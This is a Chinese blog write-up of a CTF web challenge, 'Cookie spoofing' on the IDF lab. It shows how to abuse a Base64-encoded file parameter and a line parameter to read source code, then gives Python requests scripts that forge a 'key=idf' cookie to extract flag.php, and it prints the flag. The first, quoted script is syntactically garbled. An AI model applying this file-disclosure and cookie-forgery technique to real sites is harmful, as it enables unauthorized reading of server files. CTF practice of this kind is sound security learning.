IDF实验室:天罗地网--COOKIE欺骗

来源:互联网 发布:java中接口怎么看 编辑:程序博客网 时间:2024/05/15 10:41
地址:
ctf.idf.cn/index.php?g=game&m=article&a=index&id=40
题目:
http://ctf.idf.cn/game/web/40/index.php
参考:
blog.csdn.net/sn_rna/article/details/45195083

点击进去发现是一大段字符串,呵呵:-),查看源代码,呵呵:-)。。。
接着看看题目:Cookie 欺骗,大概知道要了解哪些信息了。

首先,打开题目后看地址:
ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ

这个 ZmxhZy50eHQ 应该是一种Base64编码,直接利用工具解码:tool.chinaz.com/Tools/Base64.aspx
解得:flag.txt
这就说明在ctf.idf.cn/game/web/40/index.php? 下面file的参数是以Base64编码投入的,猜想主页肯定有源代码
那就让参数file=(Base64)index.php (转换一下吧),敲回车键,???没有动静,再看看源代码,什么也没有,是不是少了什么?
再往前看,还有一个参数line没有用到,那就试一试吧,令其等于0,1,2,3 ......每敲一次回车,就显示了一行信息,整理后如下:
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=");
$file_list = array(
'0' =>'flag.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
$file_list[2]='';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
没学过这些东西,还是猜一下什么意思吧...
大概应该也许是。。
这个网站中有一个file=ZmxhZy50eHQ (刚刚的flag.txt)的东西。
根据echo的翻译是回显,推断之后命令是显示flag.php里面的东西,但是刚刚显示的只有一大串字符,不对,刚刚的密文是flag.txt的,那就试试这个.php的密文。结果不行。再回头看看上面代码,发现中间还有一个判断cookie的key是不是idf,剩下就需要投入‘idf’到cookie这个变量里。
投入很简单一个等于符号就行了,可是如何提交这个cookie呢?
这就根本不会了。。。
搜索吧。。。其实这道题我只完成到提取代码,剩下的基本看博客—参考网站:blog.csdn.net/sn_rna/article/details/45195083


Cookie 欺骗:

下面是通过python爬虫对line进行遍历得到flag的源码:
网站python源码:

# -*- coding: utf-8 -*- # #用中文字符改变编码方式为UTF-8

#_author_楠
import requests  #调用url、cookie操作 文件操作的库
import sys

cookies = {'key''idf'#设置cookies为key值为idf 即cookies欺骗

for in range(0,20): #循环打开网页并抓取网页文本信息存入本地
   url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
   wp = requests.get(urlcookies=cookies)
   filename = u"C:/Users/楠/Desktop/flag.txt"
   fp = open(filename'a')
   print(wp.text)
   fp.write(wp.text)
   fp.close()

print("get flag success")

由于我是linux ,系统所以我得修改一下:
import requests
import sys

cookies = {'key': 'idf'}

for i in range(0,20):
   url="http://ctf.idf.cn/game/web/40/index.php?line="+str(i)+"&file=ZmxhZy5waHA="
   wp = requests.get(url, cookies=cookies)
   filename = u"/home/shinukami/MyFileSystem/study/flag.txt"
   fp = open(filename, 'a')
   print(wp.text)
   fp.write(wp.text)
   fp.close()

print("get flag success")

cd 到目录下,python 文件名.py 运行,发现缺少requests,原来这个爬虫需要附加库:python-pip python-requests 等;
那就安装附加库吧, sudo apt-get install python-pip 自动安装关联库(包括了requests等);
继续执行 python 文件名.py,得到 flag.txt
打开查看得:<?php $flag='wctf{idf_c00kie}'; ?>
0 0
原创粉丝点击